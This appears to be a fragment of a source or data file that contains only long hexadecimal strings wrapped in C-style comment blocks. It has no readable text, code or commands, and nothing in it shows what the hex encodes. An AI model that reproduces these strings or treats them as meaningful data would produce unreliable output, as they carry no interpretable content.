5b5d29ad9c8fdceffb93e9b7360d905c4c21bc876adb94e8809b38ef165f3b4c5ee7de5f5c39941f3b7cec672cbec176c68319d0ddbcef8011baed7ab02f5464b6b51b00f3734b3c838bd884ccbb55e379806a19ea418f055a5a37300757f96aa9d0cdd045d3abbdc16ef932c28cb32779b31f65b786ca98268be806b3ba3140aae8f1bbeaef297bd8f9f5967f12f230fe052a267aa6d37f29f36686bf752578616dc90f20051dba35e4ee315da668a77ccd9f068f73a67ac82ba1dfe968aeef06d3e5f732b70b940acbe3960dbaa665e879d612e99a54684014f00d17dcc8d2a6ac959a81edea389f0e299efb1306dd5950b430c6d8651d00a5ea6e567c049e203cd7a48db3413fee30a7424b9f77076f5a15da0e0ab3ed55e19cde8ec5ac99af82f42df98a632b5f0fb4f377275a11fdf72ae173c670377711890d7fdb44d6ef5c342711c1a14def5a80beef107ee6f013c749d789a0d28d7a05e9d6f2308fab4e49fcb6967af5e6d68520a1f4feb8ea4a2478430dd880376876236ad9ab753cf67f9c607cd6b4a4751e7a69d7e60df00a1f7bd0996de296418188df252d6f203b92a439173921fa1ac738dcd7f2b95f4528489541c9e4d3cf2774442b139a91dc2a560ffe69cba11573503118457f692baf897661b9c438740e9781106480bde34f151e36fe71863bdec78975e23e681f298d53dc57791b342bd9bfa705d278c34e09ab8fb2d090721414e8a3e465b31515b3e9778f2d02950868c5388ce85fbc2f26217c46cb6889b77a917e0535daf9fb6fe04ace848d951c5ddb8a0da34b681636cd3d4ef68049f4bbe11a17ebbbec480ebaee090d57a05466e20ff0edee70ef547a7d37b9ff5df58ec07b420dc6cae276e616186a8c4ae510c921fcb35fe879017d9883388e0e07332625b020a3e6c78913ce660e5fdc88998f081aed6004ba5cf0d3b54eac7b44797ebd641d2e92d18f52e598d96eaf9a115649fb17cf3ef14be4006e2eef2257fc0da35fb2b97ab230ce0107cc52f0dcec2ff26873735334447c04f887e1091e754b096488b4d795d0397f1b7848230434e491cf954f0b4ad2d0390583237996f19f4b5ffd70614694aa822a7b5fc5b7d77b7c732c8875aa8a375ded285a9d0c283aeb72c5950b0053708435f65a135d2854b7aeef30dc35fdac92aef608a5cf3a9f56d9b7bc7e58b2cdc7b13044b60c0efe7feab7629057a30a330a0e199892afc8cceca0f652a4a89c7a9927e2ddd5417f798735299d91a320cf0dc0244910b4af693e7e115f2471ffd448e3df64e4285c99f2694738d4f6fd646bee58f33105f9aa22c6ba19ff1f0c946f5d1ac62606abfef92cd7df34989dff6975fb209af37c7075671980b91b5ced2413b6e669135a450ef805406b7b5e1dbb50018c6225deb26005f10d28b06118036982d96dbc9f2376ad24e432258989c0bc4e767aea46acdd1011816ea13df00de31683f874369e9c0b19591fcb398af4b304cb7ea9f5316658e50f4287bd46934038ed596fe6e817600656931afc5afaa048332cb88c99268e7b18337bf4a0e3952df23f268e15f0b5a64fc4131ce3d5fb7a9e5d1cc221786ad8f3f087cf0a1bb18af0bb6ccf23483b50f2e41b9f5a1307b2b17ddc5a141b28543f4201ab28b3bac0a2cf407540643e9c38900b9fb0eaa24336f61b84aceb702b6f0f0c36f6eb9f6c30f5abc8ef6cb84e96f53931b377a4a7f59271491d915206446ff14b3f01554c3f34633566c8b99a1de0123bb0631ef858de8a21484842777937ac442ba5a6b0ed80c756e7758ba66e2a9ad57ee237e5a11446d648cf71f29ff9023601c162a23591b3674361c10c8a7832ef09d1b60a0559ae28b3bb4d4ad4bf9d0c5a9b84cd714ee5b27640501bbcb27c1e0fd2aeab7543be2d322d192dc23ac887b204844eea8e66c3a679e398544d33fa291715153cffb4c5c3e746f46cea8de3fc8bcf2369fb0f3274fc2baa13d0ece75799b560615e218db5f4e5b8b9e257b6c401b69fb3679c7e560db32f30ebe4f10f14f6e1bd345cce2b3670375*/
/*f86ea1bbe85e03ddd3fcaf009d7b874a14506d26832dfb0d306dacf9d06151595607399f9e1dff442251032632460869904f72cac4761c34410643ffdd1b28ec0eb103baf75d65b171a532215ee78b590534c54d48d3eecc7c57faf6f51055f55e19dcee7a328275645b1b1204fa8bc55929ee63e898d6937ec5d2398f10db8acaad2753169934c2aacd373c97ffc609ace71dcf419a38c4114bb5c9a08f5cb14ca38ff0b79ecb2674c61d53bb2e8155557335c4ea3c21c34aa94b247a52b788337035fbc9ff5d6482382d9cd291dd03e56c05bc1312af740513a8687d2ee82164946f119d158e278e3d67c6d7aeadb0abc99532c030414c648e56ebb471a37e10b188da53fd429b04417d14ce04d4080f0b30feddb71aa1880be757663100456b65bceaf268abdd550d2eaca281ba87166cb957f9215b27cd928b4bd70caf00db4e14ef867c1f71782ecca00abbc2bec11f349a69d1da69e69fca5f35526219d1d067a6c8ee85e26baa07bcee8df12a4b8926e91417cde18f79994ad750d712151a72924e3f8ca273c6684dcb51cb962e37b4c3c672e8b93b1b4fcabd111c3f162d4c5254b8263d0b7ce5b698e6b5af13f240c5acc018f5064a653d8b662815cba63dfb9871588b71ca18098031c8078f8ff6d8d93861be39972a8e145cebf40996f895916463f09df56f9ac1ad259c54d0d9e20af150ce86a37a9d2a67e39870511c2d3b13c0fe6390be2815f33b488d5bc411393edd8c0e167016835a609703c83fd878052bce2eb7bf1643fc09f21e08feaeff97328149099bdebba832e097f4945ea2b7f70dc33095c2ab721a2a9a25458384c19c9bcb0bf566f28c32afc5f3a474d2fd92fe38c1926a9f7692039c57a1587e6461431eeff8ee0fb847e8debe0ae421cb9ede4415bf7ba4635152fef38e27cd7bf04c2b5ee6d869e7b84d35571823ee83db6f7d83edcc65789339e044c26f263857b0ce7244b4631721a3632e2e0ef2a2e20407e08a236bf451f8cf0da2f2c6df413e557e61d1f9a36e9c4bbf97a34efef718b6565979d7cf7a31241b07fc22804805df7e1e0af86c347196b83818ff009b2287c35638ade5e7909fdb01ca86cb8ca0d8c1b9d57e4e74c1ce0301f0a6811f265cc7362d83fc8e75fa53e31f0b9acf71e0dae7111cce2df615ec678ecdc3b9b1a16c363c82148a3ac8bf960a158c1180b285fed6014c587a30b90ccbf5d9e93ad5c8f42c8cf18552fc5ae2e5f04ea0dfe67a2975bfb9aac7526410618f70ad513382603522646fbd6b1149eec37ac2f4948b654eda9ca337277312d151c5a04138948833fac15327e1cb0c65cc659671cfe646ff4382fe145291b339a557162fa106e9c49ae36c3442dca5709c6900358359cdcbb87819da5a3d75de305cea025b39187bec422677afd97036876ae3b7988fe9313c6eea705e7064fa8e632926bb7887a0dac2474cb4d5d3b6f0190f68262cfd98bc120eef35d3a832bde01903908430cf644d1a07cf8ef8e3aca3c51640dad117ed47ed01ca2a4ed092972f32a45df0c454579a95e355af96d17bbe83611e473116f1b4676cf9b24b84b3a36c00d894c94951e2fcffb18ea64f51c38f3db06615180ee35fb1715b675b2b595f397a305c0b2d3b42be9790dac7b633a80738f621944d3f9f5426e5c1154392f5a2a192e44dd67db206b2cefc3163c9c610ee801caa1e396ef128f93029c65658f9ab4f1c680c34cd4a78cda1c254b1710827c835f45348744f9a18367a21b199cc58dec9efbed8481560bc2e7139e622b1053aecaf7885a9db74ed0745f6fe63e8c70ad5306b7826a683a00b442fdee68b54f99e34fbd24eb2d90411e297d11a2571fb3f0183e33b59f4f7e158829ffc7be6a29e18f1fd34849e5384bb27526ff074ad1bae7775b94953191ddf81a075c24cb70c8cec269c3eb1c8c43c1d6ae5882182e98c73db21e8b33090ba159b538687ddfb0c205ec05064876461534fe3798ffddf0c6059af32d48b16067bfd634439f44ef7a5adefdfa2aaf900867320f57c24e13d4ccb4e40d37565acbd955c8857a1de3de8d4cc181d384182a35839b972a2495cf71c7f46013c4d9b682da4c631fa0513791504151eef96ee6ae007f638d86ffdf45de1877db2027f0d3e4a725d95b5f25d7370a395921eaaede25a1e4e305f5e43857cb65518d317f34a1df1e117fcb6d776d41b6f85cde829d86a66a840152789f8953a4b5d50df32fbb34efc3c8a17f97568ca125f83f631c24494512787cb89416d03db60db0edc9d4a6e6993fed1b95abf60c005030c885b88a9f388960e452e78e4b70b9e29b0e7256365963447936d2f7276f5124675371927e8c6cd4dabcd4835d9b7c683d89c04f857b4d779ab46519da0a060fd5be725f0ab3197fbce9895cff36bcdfc53ac5d08cd0d45502ad7b748c14acd4cdf9b1db7015959f84f8a0da77d3bca355a5fca74540f1b8b9fb276deb8f811cdf02be9f3a9b703b6fdf69a79374ca41fcb359d023b1a1c3043663c5ef845b59ccedb3368eef6f625f7e56d9fb4d9b8611639678ad965387f5500c1d15dc99540893306d385ccbc29f16fe711fe213b3e24fce9b48fd6491e9274b4735fdceed5dc3e4aa5c3846b4f23bf740a4a50d282c1434d985a799d860734142b7587f2047f0c496fe03544078bf8a18b093b58a640a4c4876e291abbf748593c73444077d74e9ea0066849a007084170ceab52d30f557f8693657a4f290492196ccc611b79ea2220370975281e82613e5f750ae18da3bd4638ed1b22d3c16dc23eb2124076ba66115d3e5041a85e5a*/
/*2e68a440d6619fb7437606139bdddad5f22485ef1f62ad11cbb9704451c7e06a084b667186d7a085e70cf698e43ab3575092a86716671ae7d2fe8b427a069505711175234d6519de1dad1dd1817ccc00f07200d4cacafdc56391929aa0d153feb150f1fd8b81f9e8b64d99d789c1ead03b650756f2f8939e7c13710f1a16832a70680647deb00572b54203931c14428c7cc4b0b78e4226fb4dbf3b2da7ec08fec385d096089e9eca96d09d8571101c404d2b04bb2b4d68ba38cf96db3c56d3d34c84c0339e92da166f6e897d08af01a71f07f6f5eb49ba14fb56b96db7b003d3fad3973fd4ef9be8bdbce335424a4e89bb07082a5aab7b60deb68badb32851f343907818b4aa2ba1fbf9c7b1e950e6c53d32db516536251fe13123e1c58c592faeb0d1307efae98d5e26c25fbda29e1b365cf6641331292a095dac7ce84204541a81d02a68468784d918e6fd765437c160e7513b71e6ec34675c5c4b320c2585e3d939431514a6c93b8abc2d1b214b2fab2251e9845c0030cfdb6ec9bffc436f89171dd4b30944145a49486e82d2d0c9ff2821beeb7b4eb8ac9e62ad7d0bb4e4210e49603467750d29fc33af2e7617edffb03d97d569fa54c4795fe2de47a9da6ef28e2926ac1451bcdd399b146b78c771ee52b8b69ebf15088f285f20985397d24e546457ea7189ae5276d9ee33453f5d9165f263f67b91d1adfdc311e267a051ac86959e38664fa0f1b2dd0b1c6157c594d6111ad1435e4781b490654b2ad8faed5c9fa8abd962111bdba2dadc64c7d091c9e18d0cb0ba46dd36b0c9bf963f3813ed536a41b2e2542a98e976269802be3d71abee5360d2964f6aa8b52d8e786b4e458c3ab7daced3891113b4d8853ba3fd6ffe15e3d1bb6bddce97f234801288940c720f7b52dbaef4ac28444d577cf328e534cc49009b8eb7ec5a088790c8d9ccaa1885567f3e31b2155d91ed148ee4cb6ee28704e1d84f44be5286023dcedd4baf9943e0883a1fbb615bd1b03a15d66612ebc0f30fc99b37c87c5b2cc5bd119945b2787108b46ce99708cd2c02a56f079a03b7022262d1a89f9b8c616a0510fcb08870fe85968a1c58b3843a65222386e5d2606b2b500a320c71b8280b6dad6aefb58695f3213413761e96bb061de6d2675c577d0d8e75cf9c17a3e604780f1164976b008ee58b9d86a771d52df7055f60877ae5d88d61fc14814ba4211351f51e8ae0d964a37f8d0cc8cb6825bfc34c0fe2a6d7265cf214618a32299674794ab50b4b1c582476821852c3aab20acfc67e37d682d404ab1989bbac9de24e8c9754cecab2e36a0465ca5d65230e9403610c4769e66de602d8043e5038c572ce5ea91faa5425201376dc7ff35196a3d9c74394574de92292ce9103409b5e3c29d1e251530225735dfa02d736b22e8b44221ed9c713ce0a3eee85ed361690e4dc4c0760ab5977ca5087b7861dc9335e1b544ab41542a6d5aa2c59f2ada9b302355bd6d870fc0ea690081595d9c34aa46933385769875b6b0cb84feacd3d74388eac04edfcf93ca4f68bf8b52ae4d86fd39ce1a2b387b2296417862f488920d77775965e7edf4d6d91a0a53e99fbad165153d9a07eb7e32a220a483b42150b84cd13072afcadcc30dc9abdff135d86355f3466cf0645ced8d794737e1e73c9ddd600d6cc8529f292d48c11d879e8ba5853c71ab12d69d07a10465cbc739d110875a24e343b185a31946e09dae7a98ddb7eb3a39dd5743495dfa61c53efeec8dcef191bbb0f8a6b136f2309bc87e4feaf948e93fd59263425302d18ff97271f252b5137a7a549d586a46b75cd88c56f4efdb6e3c205fc2be8aed56ed5c49fe90eeeabedc4ccff5dc03e4e89a84616536f6ca1438bf0ac12365f4cd8e5306223b1c0a04fdab86388e2cc5fcf57af27d61819e056defbeb78283538b02ddb48df520e34d69e76956be710f571b52c9cea9e17f98fca19cfa9742c77c3813bb662694741e94c9ab7a4555dc42155051ad9f4fe5c49a3e5b6e7d00d87661f5ed31c7f5cf5242c20ef5fcb4ed8a4c6535f62af6f7cdd1131c498de1eceaa180f7d93a7b47e155fc8201892b41dd9db45597c3cf46dece5688878d7eb908dbad471c401df344a2403085c4f81fa26bcc4fec373b5f7d666df4d78fb1ff339a07207421113f704168bce08a29dc4bce9d88ba551bb9650222a477e2d78ae158ebb3d51e934d760956015096588c300407dfc791907b347f198b42a2a9e36f627adb9a67fc8b0a6257a334817e56d03373f22c23b879b48b575fa93fa21d9f8a81bca396baef099da0b9ab35e0b05ce10364a77a33628547b2f9e3d0ecc35f55cee68e06f1a2d765439c8aa853a18bfc29eeb5a6e1416a3f46112b7fe12a08705143c616af4605dc4d4f5d47bd0533997f48661e4cf601a0ebe07a84bf8df8ca88f2376f19f52668c85c7ce4bbd5952274f357c710760a8cabc9c03f8c099dbe39de73f19e4382f02590f388d7cb2c60578e775586cb3cb8b63f2e2a4ac73f80ddd555e2c8795d2681c0365cb16869845a2ba49cd38b79df72e6d6cbf1c1c09637f38592845c1665832e2beb302b25f2657d9544b414bf52addea635bbac9e74d16b84d8215b0ac0976e9f797f3743b20feaeef6982c6bbc46cc06ebb7f7d907b78b68670db91490718111b3743d11bb76bbebcd769d9cdb47d570f834526b984096f80105d0edc2b1f4f0b0d99fcc8fceb808e5d6756810b2808da65e0c14f62dc101d4b8de1285575f123f7413d431638974166373d3166e8b9e2c44260db98fc6d5b1087c08ddb0d1b99173618237b8bb39e29*/
/*9fcbd7ec6799ff68ca4b6014ce8b652ad4d7b25d5eb4f7c5e4336ce35d06e3c1f1af1a12dd21651b8b7d443a1e8daf3d54da4598614c5007a3dffc8d3fe0d7d565fd1605a6ed0ac5178e5c2fee74f3f6579271ca74b520cdaf11b88c2fb606376a2d9821e0845642c52764a430a7f0ce824ad9dcb2e924f5ceac0857a72b26d84f1a128ba02c8463983eddbcfd9ef659979eb82e600d2c9a48712617d34963ba712f5132235346e14e50989b38df3454330650cea09f7c5a8195e06406501dffd432cc4bdede8e3d85a9810baff93d19f9ff72b9d842531acc91fa7f9e727c8ea1c3e2576f4e3ba469481a30690d9b40aa895b79b92be6515a641d99974e8d2cd2fb0c81f6fd10b1b7d7f35165f9d1a4cc5439998c72d60b441b44d2f06604d5af6e0f2162ad26b002f0316fc97c4d1f72c9e4e85671878e422dd3d165d044561fa7338dee7ccd8850e2adccbd44348bf580058a16e46f128cb3cd33408bef0fd604d9d6256afb7a55900eac6f04d11dec47cd37395c421bb4d614c6b1c95fdc14a00b05d439807de9ca8c8c8d83e4f3b836f002488704811b78d4e81858ef5150ce7bbdf0ada7d3c4981be3a632f50f5add1cdb9a92273aa740684af79cd1142b74563fcb84364e9d6fa486381d9903680571d431627c680f81148238844b1d299792ff7b113489b6854869a7b2d572dde107a89e85e663982050e81469dbf1474e6dcb8c1c948c11423f65c9fbbbbebe9bcce7e7541697e668667023a86ac884e9748ea673568edd6775c0fcb2995cc49967568ed1db3910cb51135806b7defed768728edaedb42baad0b47ab85ec942a375336091522c0718901337d74d06507b797f33367d90de085c8a139f2eb117f9fdb10c6ce2498310c4ea868b0ac176889483ac2d075b78098a32c7a7800aef494b1213b0c15d00568f808e3ece92c4b6178306a0f50c4066ca96bb2589dbf66c708989a1611c3a2d44369b1979b725e97c9f4ab47525c6b73f69302a2f8cadb53da66dd2c7ea90945d2b2cc0e10b6bf5a101b3ce4e9ee8a9c193feb38f71b054e6234ea206cf88040c5ce5fc9a988543b488ab480f8134c2de37b3a67fa3fecf839220531ec58dbfc29b4691eb3b1fb06f10f7bcc3da225417faa68d06d8985f44ae3c2a74ed7bad2624d30394679726ae2492598117cc874b78585af62077375f40800074fa96df54c2e428564f478c2e5d59c8be448e8d18be77fdb9aaeaf3df6487d858085e262f3bd955e53321e3aa00a0a89f3edc33dc3369c5b46ceaef761ec60319a8280fb410cf94f22ee13ef5400c601f885776e0ab5c7b854a7427e85b5976dd689382c4c09a4003870fadff5cf19e4214bc30ec2f7f6c85729ccee811c70a25838e3a0fd8fa480c786da996fdd69b5c781041c55d83d3f25c997f1d01e1d634c5c3dadb9b91cbc62efe7d4c3d9fa4d56fa2d4af36836affd7527a075c444c313c4f6cdcdf2cd7dca8e4c082d32cd4ae064fc19c1c1839c283efd7a01729c99a1913882b7b59163568f2ceed154ac6f046ed256385ed29b9c4a1e77a49ad060f5125b8b4467206da624dfd5ebea41cf46b8313dfc4f4f91d2ff88065e0219d92161ac4b615121d3d296bcc869be4316fd1636dbc87833dcf2cfe69f91f68e94d37ae81ab5379168d410cb2315a6ecace076e362b7f89a0c1eb7b0cc40d3ae3ae23f591a099a27e986ca2d6a3d22949b34154ad5edab4186321ad135769d276820796a0e80c4ba014bc374825bb1907b30e4ad9a4e5180b8404847bdac8cc09ec6a90fd605666adf23e1050920f64fb84087ade9907c096b53c50ebbcba0a761808b6d12f72e1c4f8fb3aabfa5682a70a87a78d5473f1e94e90c4576bbda6d415072f8bab06dd8cead7d1ea89b549369738937aacd32e164a0616ff2e676e687625e14423132d82095d3c61d169d18eee39a0f2e07245b085bf415edda335a3f9fae84979f52be43d55c9227dd523bc735d954c41bf2134529c6e7c27f68a012e2d54a93dd10a91971149798e0169fe76f4532e7f011ec87f68de6e28885737f07f582a50aba8c80cf70688c57ecd7fda34f052e1deda655accda12352dc30b7838a892cbca479b94df5904131df19891e981b906475cb784a4d8d09f4a973f12ff87f1cc66ee511604e38ba0fc7a6134e55c393a9f0c2de3cc7a4e865036dc4e815f3a4dff3eb97d245eb503b074799c9ee7e198d4a22068dcfb81f1b7262e760123942a3fe7154c0db03d3dcef68dd07e17f78f7827e3764e12ee179296aeeb58c39965a55d867837f601dd646b881e25b8af2e31343f8cfaa7c2304956e5c774b575864f97cb4766e929fbe06f242a913cf4db2112c38f76b9ef6322852959c086389050c0d643178b2a2d337c625e54023c58d89b0f5c9f83558eb83d68c909dbb50a40dee2a5f122f57a24c445e3e0de06845e65924c5e514f07414e43035154a24a4e8cc7b26bb4f10657f81a34938223c11d0fc31edc4748e441aa1a85f878a14c9bd291994037846ea535c11c6884e6795bd28dda81700279d88978ead492102f03f3f3e688d04850824a8d7660aca51864ef97256afec7d3fdb437ae8f4aad2b5813d643ca61297221757f126301a94037af0ba98b8bfce9e7fe1f5c520d5d6d43604d362a35d0ed515218e4f10018c91dec90c3f40a49ccc04a858bc8a1dad7dc11833abecb40ee41270ac71a35ab071e3d6adc5a8d50be2dff615c3bad636d03c009bde189839b26d9164c8b2156fa32c040418be868804083d3a48f8e6889b6a4062e118478d83aef46fe202180c5f2497cda2a*/
/*022ddffc07257f8073136aab7639ed77269b0c0170154ccc82cf1ea87ac4dc8a4d7156c8a1c640d43bd371491b6aa3ee0747d45e76dd350bcbf3cf8c4235c4e39c7d3b2d744e491e9c3168033716468ce1bcb8764ee0f278b554ca47bd4f47e5f88d8c8af909f4a4df6de6b8cb72eedc0b42847041e3cc10b573579f46e0201b041f24e6587cc93e667072d2fa677f06242adfcbab2e15bdbfd26c5c1c8752b1ea855023c83d9c847c7ba4687e6ec2fd5c425355204b58f6dd8989937579da42200d9aa7967efdc0cd742cf531e71f407b3178d06eec62862b243dc6e443d644963a04aca090ad98913b0740986def649c38e60bef4cb68d102b353cce8e686b8d78ae8a4721377e9b743908e5bac59238b293dc71be8f3b68c7a70145feb8e08cbb2a8a3fbe09db0534c658effa1e66cc7b98d2baf5974984a3025aed500d65b3308b9b509fab0a8fe0c9d65b7c34333be208d1d54bdee6ffb7697f361ebca3901df4061029b4999073e563301e29dfda49952af00f2f242a25aeb45c6676e905abcdd8b266c1c008050feeb7e23926998fb2638e13893df96a7053ebdf9b28d6e9bf10f419e0042e267d01942925486e09430f075fc6b95aa21d28aeb215bbce5db8e1df5e8cb5d4fceb5fd6b22b37a4a80dd585910587f230ecd0e9091e7fcafc68ee34a4d33e026c5cdea68bf9fff01f9b9758319e1857521ba92451c946539133d102588a1dee2c703c9e8c91a16b6824ed0f853e2aa8288e002ec4ef041649454a144b9e08dc003dd164c178b741c5d0c4fd4270e2574d582479ad47c13321aa7c31c8885069301c79802c13a9542305ae3326b63efbad289079169d8d092c032d8025c6b394a6be7527487b182671638be8f31171873e6f5fee1bb2fa08c35be5c7783af0ba24507e7b11017486886bc165ffeb535a70621ed9cb4154ccb186e7c32198f0d4c51bd9e7e2e4d00c039656873c29a8c6799758dd81375ac2fd0807cde3ee7a0b3960a8c1bdaacf3cd751dba135d635f72c243c5e228285b8f1e2780a797f18829bf0d649cba33c4a982c80adafd34aa7dc01ccb9e468ccedde6a6beec7e8d946a6d52eaa06646b6e3a135f9eed6916395f713a8e26b13c4859c22d6b45d0936db880ac3377f2b9fe06b007b47dc86224cd1d465343b767d06b2462cda6756f0201b12c01c1fe7c391d9c1f3f80ae21b79b3a02c0078612c1b25e3c7a89a56f3fca24af287c10b751817235dae6ae49e57261636125bfb9bc709f711da916af7b9950544cf0d38529f2a90c0fa6f0f16bfa2d54c4bd5aa807ab09acf3fd65bcce95a004d3ffe0776ada898a39d32fec1392afb228ca13353e2ecdb38e790080c5677c6e42c7a97fba8cbec91f02f8d1193b4976e30eb16561ef1784dbc016d61447828c5f0999decce135f73c58254086c42a30f2f6fa28f92b2ac318899b2801a4c79b74f3bcdf2b9b62d7ad2264d525d585bbd519cf084ea9c3f0dc57ee1fb0b270b7cab6a1322ba9d2a8ddc897d96a880b9b3409685fa56978988316ce3c2e04d2c2842113d3591318ada7efb3673d5a191a7e1d4b803412c0bf2252c81f559b596bd44f8a61b780b21a6036f54f9fb2e99c5dbef72172bdedefc11b0ac493059387af4a7f2afb598795a22c7d115876103497e9966a33146674d57aa3d693dd285501709c6b6c774aaede1bd48b25d75ccc0245aed7dd0119fd881d4584143b2132208939577fe670fe0853f067ecb5902508f40e4212404ca32d07c69319309af0434800da7e6783e475a155fd5171aa4a6467b29e9a30956759d0ca6cd52dcc5d648794b4c1e870a6b5b2689d4a7b89c0e8629453f91e1154720fda29be3ef3b859458f04e49c29927fec3252337a3937589509670f6c56b47e7c7674cd4faffae8d926f4dc38f9bc83348d8aa44045e20bd6cc6fc854c72a329e243f837753d3f57b518a844223afaaf9bda44ef3a7f9deb11a6a9f205b61c8cd59f9e1bc9ae148b20ebf56106bd40f8685d97639be2b9d2ea741a1673b7e7af708e3a31d3c723a4bd614445080ae846aa9ab2b1e830df3f998ffe3bd9b073710d316e541bb1dbed955aa808e811ae0de9f524c919dc7c79470257d1801904d55bbbeb2d13bcdc00c72fc972433248ea567a581b58c2af80243bc3b74b2754fd08b7e28f0477a8cd2ec3db2eaf48dbe6bae669add63c15c0155d06b93452997d1d8949af20c0ca42f359bdb1cbfcd2b318a1908993762d14ac599f5e49062f48ee23bdb4f0d824b61ef707c0ca6d38b7017cb1628b9c0f8f3358fbf2d717795e17de47c0498c2d89ada739144a9b5f89add25aa8a6122944a6cba43740743107fb7fe68e27be57b3463ee16f7760eb117ba584951b16d29c73fa09245cdd909fd03266662ddc6b05b9d7c15e2c3de8493d508d6b6800959706e8ba2886e9ec81eae73335de465babc6c9098beb70de99372bad2ce721882a065cc5a3fdb8a1a1b3d0c9f9a7a0fca4b3b141ee242fda42138ebfb0abedb3c023169936b352cda8a44818cae8ae6e110f8d41eee06dc15cb7c46dfa35d9cd267aff31aff29ad54ce8a8d8ff9feaa86fb5ac345d64f31d31bb79d1984edb30aac33f604f3a22990c0fc6f01b780558dd87f62cdf1ecef3050ef5568afe2c5843ee0f1dc35504fb7902afa161f33037189e51493678f56a7d0da6bba3f133f21accb01d703c42d5f0a0dfedd5e20a0fc8cc8effc16821358f7fc6c1e86a3fa7b9441abee05cc2111275bc5370373ed24c97b635b9666a611482a130f7c73880942c804ae41c7d2896b7a9b513ba0c6ba399a80*/
/*46e5a43d39932cb779f25ef46c5899ff6b855b06d3e9215d842ce5666867b607c62cbc0c168058de9d69940c0f6a7b3355e895179673b0411a8f38ad1a6450bfc7d8492294414e1e567d21193a54e003013ec5cec4eced18c7a0a3446f427a4b7fc17df0b66b58bd2c7adddc3b9764dae5bd471bb1d10f860a7b2d2441f39f4d8c0fa362b3152412e2c1c92fb01607a6ed15780c179adac4089224b2abb2c0617e183b3d42fe8075047e8c2bfa683fe2088561ef2d8fae16bce17354811f0d25fe48a51b224f26e067e81f56641a85fddc6e57cea987c1ef97750a253418b9646a6ca86287200beae7e1ac521976110bcd8d846763cd524103532c3e3e3d32496f5cf30160d9d42e4df83ce3a00b750408643b1e97cf6343bb92635a324b2a4e1e5fb4dbf40b9ea272a3f5d46f1005745a460da84b9edd61fcb4b38691e118c67c6513f9399aba1cbce3587049b701b7452e2920c6946f52b6925efa4296c20fb14c1db859024129fd47c6caa926801f21c714a3819261fe01a43b87483f184300402f614ebd2dd2f232085e829ef72f99412fca31f074e6fdc74b845c3c817375197cfed1ba57a50005d4dc6b5e4a443ac49ba0741b38fd49dd7fe99b1c984a0097e314f62e93c42bf84dbbbb8c33a7a2a7baeb5993818bac3be55df199a2038c63b64d989d76a58809248ba986ee19c5a3f874ecd1f6f1794825716c444530cdc268bd1f7ba4ca94d039880fed4cf444994a30fdcf295dd5f320358f5cd6550c9e27993c035e665ca2cff19edc19694de1ea16783b97e7d93367799449a3acaa6c41b5063506b296d7b835a77216051d6aba96316ae0acd6f831daee623749570495219310137dfb6a949d54dfcda1ed4976f44ba9c73dea149d68d1b832cce18643a551fbb4cd7d700a32f0a6377b856bb73b81a73ae439204ef21ac0ae9d6657793fbe49a3272e6701ae93c8dd06d2f7491bbd5ddd5896b2bc24f7a8d987d7dc3e96d4b2febde1c881a5201304caa030a96b24c94fe7b2c26a437432e2338415fddcaff8fe34a57f1e65baab32cc705ae161f701b41cde74b135a54c3b5cfe1b6f83439e97dd8cab1aa51b06fb76443156d5d4a6999c627722aa48990f56811aaf16b7d90c24681ab34411208be7795310372c773849e7817cdc9a5f5919e05308396f9203b4a7bee33716dea05f333b579e228346b4eb79b2e0495b16ddaff32ab6e14c9e70c9eba8a31d1237e69f4f4024df4690f03152de9840b924a8d8acbe106c76be66da5435b5d0946901c5c689aa481ab60528245ad53e2e3b7a644d2fc73be9c1f3baee802fa7309725193172986849986f68caf68280d096b113cc270845c819f74eb0d3d7de4167ea6960184383776dde63d64c28a346cfbec0d31e699614e270811a45235dfa67e215420089def1933b27fe49bb57c4bb183aecb3e12b94990d6d95b9a45ec3ac9fbb6e03dd284454937f1f8128169c464d125ca59d0d36ad03a8c4e2f3be53b3162733dc92fa5d9fe6ee13df1d6b57dab60feeede00c89a1561b768d34c450424dcfd8122a071af231b17f1cda834b882f760a7ffe7787289a93ac47487da9f555472f0a2a762b07789e7fc501571cb554514c6360acee6dad0b2d42a578ae0704e41997d36549dc87f040ce801d2965fc35c9a6ac5ddf07589cbbc9e76d37ab474ffdfc2ffbbe531099cbadd93a6aa1faecd8dd4b6c63470be1c6e6e958530f0f11135ec0f5557bcb28ec05984e9215cd90b2f940ebd355b52d477da74914f25269104b5ed11a511df3fc4ac03d79b563f6847b01e917ef4934ee3af421e693a6690a410912d58d47d8b607cdf05a8d3f912a9f0cc2df2a1460545d6bf6f7790cfdeb245c27d3b49596a2f22056fa712f086d64a92675e8798f82aea80384688809b7b20a07ec9f462676292fc8e5795d176e1c0a74ae323dfe3082c14a291dc94c31c2db0e793575fd8826c14991b002813857c7f93cd2606a8c5395afabf4ad9b7c2b602081328acff306650880963dcb73ebf9786bf368b7d9a3118de9c71dcc291438670cb2b8eaf25cf856411a88c5c4ef15d7e9263ec38ba45fb7db43400165983b8f62cb7059f485e7669925732cfd02802463284e88ccfb811a6cae475ac1f7e23e0d0ace34fc04cfd8a852d439302737f8d7f601a35a1422c3233fdce9673978e5e56d4e6b02b7742256d3f1520a71035973a2e2101f89b90976c3d60c7a2e80d42bdf8fbcc89413d7148cb268ccac80654f5576d214c545802fb310e9fb40bd01877873e8cce41af3b06b74b2b53e1d52021c6aacda580c08d7a44170901156ac910b1c309726a35bb1e6ba0198cb741d9d9403c485d77e84e2bb377bce6c65a99ae8360d360bbaf341cab90830da2f11015f1bd98014bb0bca9cde3462e8e4d270bce580996ca534e9961a46701438ccc8a0c2081ef5125ee11eb3f91c41908106e87378a57b1cd41336eae8c561d3f4d563040f46df77c28b08700fe0b583984ad81e91ac13bb9a47f2a9049edc355c34b12425ea759f24655722e13cc8a46e2c428d48883b476b96902c837b529df0b0ee75fba6b87c10a9840770d9ad8fe216bf18af76285d36bb57b646ced0b8758a560f01085a9cd78cf510772953e93bbac4343384b51701663d61b36e237b0cdcc8b6ea85c6025381fd74a521fe6629f001c3416f9d3c6f35e4103defa24e32cc442fbcc2dfe1075e717c867186b7b846c35c79481b6d836715acb4707b2a9f8f9af713010aabfa8c526e9973f81afe310eb472655dfe2f0377bdd7f9eccb447339b7ef7de21ebc2dca92*/
